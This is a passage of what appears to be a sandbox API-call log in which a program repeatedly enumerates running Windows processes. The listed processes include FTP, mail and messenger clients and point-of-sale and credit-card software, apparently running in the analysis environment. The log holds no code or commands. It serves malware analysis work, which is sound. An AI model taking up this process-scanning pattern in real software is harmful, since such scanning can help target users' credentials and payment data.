hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0132.811] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0132.813] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0132.815] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0132.816] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0132.818] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0132.819] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0132.821] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0132.823] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0132.824] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0132.827] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0132.829] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0132.831] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0132.833] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0132.835] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0132.838] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0132.840] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0132.842] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0132.844] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0132.846] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0132.850] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0132.853] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0132.855] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0132.857] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0132.860] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0132.862] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0132.864] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0132.867] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0132.869] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0132.871] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0132.903] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0132.906] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0132.909] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0132.912] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0132.914] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0132.916] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0132.918] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0132.921] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0132.923] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0132.926] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0132.928] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0132.930] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0132.932] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0132.934] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0132.936] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0132.938] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0132.940] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0132.943] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0132.945] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0132.948] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0132.951] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0132.953] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0132.956] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0132.958] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0132.961] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0132.963] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0132.965] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0132.968] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0132.970] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0132.973] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0132.975] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0132.991] CloseHandle (hObject=0x2068) returned 1 [0132.991] Sleep (dwMilliseconds=0x64) [0133.096] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2068 [0133.111] Process32First (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.113] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0133.114] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0133.116] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.118] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0133.120] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.121] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0133.123] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0133.124] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0133.144] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.151] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.155] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0133.162] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.164] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.166] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.167] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.169] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.171] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.173] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.174] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0133.176] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0133.178] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0133.179] Process32Next (in: hSnapshot=0x2068, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, 